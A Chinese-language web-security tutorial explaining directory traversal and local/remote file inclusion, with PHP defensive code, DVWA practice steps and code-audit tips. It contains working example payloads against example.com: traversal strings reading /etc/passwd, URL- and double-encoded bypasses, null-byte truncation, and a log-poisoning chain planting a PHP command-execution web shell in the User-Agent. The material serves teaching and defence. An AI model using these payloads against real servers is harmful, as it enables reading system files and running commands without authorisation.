网安系列【11】之目录穿越与文件包含漏洞详解

文章目录

  • 前言
  • [一 目录穿越漏洞](#一 目录穿越漏洞)
    • [1.1 什么是目录穿越?](#1.1 什么是目录穿越?)
    • [1.2 目录穿越的原理](#1.2 目录穿越的原理)
    • [1.3 目录穿越的常见形式](#1.3 目录穿越的常见形式)
      • [1.3.1 基本形式](#1.3.1 基本形式)
      • [1.3.2 编码绕过](#1.3.2 编码绕过)
      • [1.3.3 绝对路径攻击](#1.3.3 绝对路径攻击)
    • [1.4 实战案例解析](#1.4 实战案例解析)
      • [1.4.1 案例1:简单的目录穿越](#1.4.1 案例1:简单的目录穿越)
      • [1.4.2 案例2:编码绕过](#1.4.2 案例2:编码绕过)
    • [1.5 目录穿越的危害](#1.5 目录穿越的危害)
  • 二、文件包含漏洞详解
    • [2.1 什么是文件包含?](#2.1 什么是文件包含?)
    • [2.2 文件包含的原理](#2.2 文件包含的原理)
    • [2.3 文件包含的利用技巧](#2.3 文件包含的利用技巧)
      • [2.3.1 LFI进阶利用](#2.3.1 LFI进阶利用)
      • [2.3.2 RFI利用条件](#2.3.2 RFI利用条件)
    • [2.4 实战案例解析](#2.4 实战案例解析)
      • [2.4.1 案例1:基本的LFI](#2.4.1 案例1:基本的LFI)
      • [2.4.2 案例2:日志文件包含](#2.4.2 案例2:日志文件包含)
      • [2.4.3 案例3:PHP伪协议利用](#2.4.3 案例3:PHP伪协议利用)
    • [2.5 文件包含的危害](#2.5 文件包含的危害)
  • 三、漏洞防御方案
    • [3.1 目录穿越防御措施](#3.1 目录穿越防御措施)
    • [3.2 文件包含防御措施](#3.2 文件包含防御措施)
  • 四、实战演练环境搭建
    • [4.1 DVWA环境配置](#4.1 DVWA环境配置)
    • [4.2 目录穿越练习](#4.2 目录穿越练习)
  • 五、漏洞挖掘与审计
    • [5.1 如何发现目录穿越漏洞](#5.1 如何发现目录穿越漏洞)
    • [5.2 如何发现文件包含漏洞](#5.2 如何发现文件包含漏洞)
    • [5.3 代码审计要点](#5.3 代码审计要点)

前言

  • 在Web安全领域,目录穿越(Directory Traversal)和文件包含(File Inclusion)是两种常见且危险的漏洞类型。本文将系统性地介绍这两种漏洞的原理、危害、利用方式及防御措施。

一 目录穿越漏洞

1.1 什么是目录穿越?

  • 目录穿越(Directory Traversal),又称路径遍历(Path Traversal),是一种允许攻击者访问Web服务器文件系统中本不应公开的文件的漏洞。攻击者通过操纵文件路径参数,使用".../"等特殊符号跳出预期的目录限制。

  • 类比理解:想象你在一栋大楼里,每个房间都有严格的门禁。目录穿越就像找到了大楼设计上的漏洞,通过特定的路径组合,可以进入任何房间,甚至是管理员办公室。

1.2 目录穿越的原理

  • Web应用程序通常会使用动态文件路径来访问服务器上的资源。例如:
bash 复制代码
http://example.com/loadFile?filename=report.pdf
  • 如果应用程序没有正确验证filename参数,攻击者可以构造恶意路径:
bash 复制代码
http://example.com/loadFile?filename=../../etc/passwd

1.3 目录穿越的常见形式

1.3.1 基本形式

  • Unix/Linux系统:使用../返回上级目录
  • Windows系统:使用..\../返回上级目录

1.3.2 编码绕过

  • URL编码:%2e%2e%2f = ../
  • 双重编码:%252e%252e%252f = ../
  • Unicode编码:..%c0%af = ../ (某些系统)

1.3.3 绝对路径攻击

  • 直接指定绝对路径:
bash 复制代码
filename=/etc/passwd

1.4 实战案例解析

1.4.1 案例1:简单的目录穿越

  • 假设有一个图片查看服务:
bash 复制代码
http://example.com/viewImage?file=userUploads/avatar123.jpg
  • 攻击者尝试:
bash 复制代码
http://example.com/viewImage?file=../../../../etc/passwd
  • 如果服务未做防护,可能返回系统的passwd文件内容。

1.4.2 案例2:编码绕过

  • 某网站过滤了../但未考虑编码:
  • 正常请求:
bash 复制代码
http://example.com/download?file=document.pdf
  • 攻击请求:
bash 复制代码
http://example.com/download?file=%2e%2e%2f%2e%2e%2fetc%2fpasswd

1.5 目录穿越的危害

  1. 敏感信息泄露:读取密码文件、配置文件等
  2. 系统文件篡改:修改关键系统文件
  3. 源代码泄露:获取应用程序源代码
  4. 辅助其他攻击:为后续攻击提供信息

二、文件包含漏洞详解

2.1 什么是文件包含?

  • 文件包含(File Inclusion)漏洞发生在应用程序动态包含文件时,未正确验证用户控制的文件路径参数,导致可以包含恶意文件。

文件包含分为两种:

  • 本地文件包含(LFI, Local File Inclusion):包含服务器本地的文件
  • 远程文件包含(RFI, Remote File Inclusion):包含远程服务器上的文件

2.2 文件包含的原理

  • 许多编程语言支持动态文件包含功能,例如PHP的include()require()函数。当用户输入直接作为包含参数时,就可能产生漏洞。PHP示例:
php 复制代码
<?php
$page = $_GET['page'];
include($page . '.php');
?>
  • 正常访问:
bash 复制代码
http://example.com/index.php?page=home
  • 恶意访问:
bash 复制代码
http://example.com/index.php?page=/etc/passwd%00

(使用null字节%00截断.php后缀)

2.3 文件包含的利用技巧

2.3.1 LFI进阶利用

  1. 日志文件注入:通过包含access.log或error.log,结合UA或Referer注入PHP代码
  2. PHP伪协议
    • php://filter:读取文件源码
    • php://input:执行POST数据中的代码
  3. Session文件包含:通过包含session文件执行代码

2.3.2 RFI利用条件

  1. allow_url_fopenallow_url_include设置为On
  2. 目标文件后缀会被解析为PHP(如.jpg的PHP后门)

2.4 实战案例解析

2.4.1 案例1:基本的LFI

  • 某PHP网站:
bash 复制代码
http://example.com/index.php?module=contact
  • 后端代码:
php 复制代码
include($_GET['module'] . '.php');

攻击:

bash 复制代码
http://example.com/index.php?module=../../../../etc/passwd%00

2.4.2 案例2:日志文件包含

  1. 确定服务器使用Apache,日志位于/var/log/apache2/access.log

  2. 在User-Agent中插入PHP代码:

    js 复制代码
    User-Agent: <?php system($_GET['cmd']); ?>
  3. 包含日志文件:

    bash 复制代码
    http://example.com/index.php?page=/var/log/apache2/access.log
  4. 执行命令:

    bash 复制代码
    http://example.com/index.php?page=/var/log/apache2/access.log&cmd=id

2.4.3 案例3:PHP伪协议利用

2.5 文件包含的危害

  1. 任意代码执行:最严重的后果
  2. 敏感信息泄露:同目录穿越
  3. 网站篡改:植入后门或恶意内容
  4. 服务器沦陷:作为跳板攻击内网

三、漏洞防御方案

3.1 目录穿越防御措施

  1. 输入验证

    • 白名单验证:只允许预期的文件名
    • 黑名单过滤:过滤../..\
    • 正则表达式:/^[a-zA-Z0-9]+\.pdf$/
  2. 路径规范化

    • 解析路径中的...
    • 使用语言内置函数如PHP的realpath()
  3. 文件系统限制

    • 使用chroot jail
    • 设置适当的文件权限
  4. 示例代码(PHP)

php 复制代码
$base_dir = '/var/www/uploads/';
$user_file = $_GET['file'];
$real_path = realpath($base_dir . $user_file);

if (strpos($real_path, $base_dir) !== 0) {
    die('非法路径访问!');
}

3.2 文件包含防御措施

  1. 避免动态包含

    • 使用静态包含
    • 使用switch-case结构替代
  2. 白名单验证

php 复制代码
$allowed = ['home', 'contact', 'about'];
$page = $_GET['page'];

if (!in_array($page, $allowed)) {
    die('非法页面请求!');
}
include($page . '.php');
  1. 设置PHP配置

    • allow_url_include = Off
    • allow_url_fopen = Off
  2. 文件路径限制

    • 设置包含目录
    • 禁止包含用户上传目录
  3. 使用安全函数

    • basename():只返回文件名部分
    • realpath() + 前缀检查

四、实战演练环境搭建

4.1 DVWA环境配置

  1. 下载Damn Vulnerable Web Application(DVWA)
  2. 配置PHP环境(建议5.4+)
  3. 设置DVWA安全级别为"low"进行练习

4.2 目录穿越练习

  1. 在DVWA中选择"File Inclusion"
  2. 尝试读取服务器上的/var/www/html/vulnerabilities/fi/help/help.php文件
  3. 尝试使用不同编码方式绕过

五、漏洞挖掘与审计

5.1 如何发现目录穿越漏洞

  1. 参数分析
    • 查找文件路径参数(file, path, page等)
    • 测试参数是否接受路径遍历序列
  2. 测试方法
    • 基础测试:尝试../../etc/passwd
    • 编码测试:尝试URL编码、双重编码
    • 边界测试:尝试不同数量的../

5.2 如何发现文件包含漏洞

  1. 参数分析

    • 查找包含功能的参数(include, page, module等)
    • 测试参数是否可以包含远程文件
  2. 测试方法

    • 基础LFI测试
    • RFI测试(需配置允许)
    • 特殊协议测试(php://, data://等)

5.3 代码审计要点

  1. 危险函数识别

    • PHP:include, require, include_once, require_once, fopen
    • Java:FileInputStream, RandomAccessFile
    • .NET:File.Open, File.ReadAllText
  2. 输入追踪

    • 跟踪用户输入如何传递到文件操作函数
    • 检查是否有足够的验证和过滤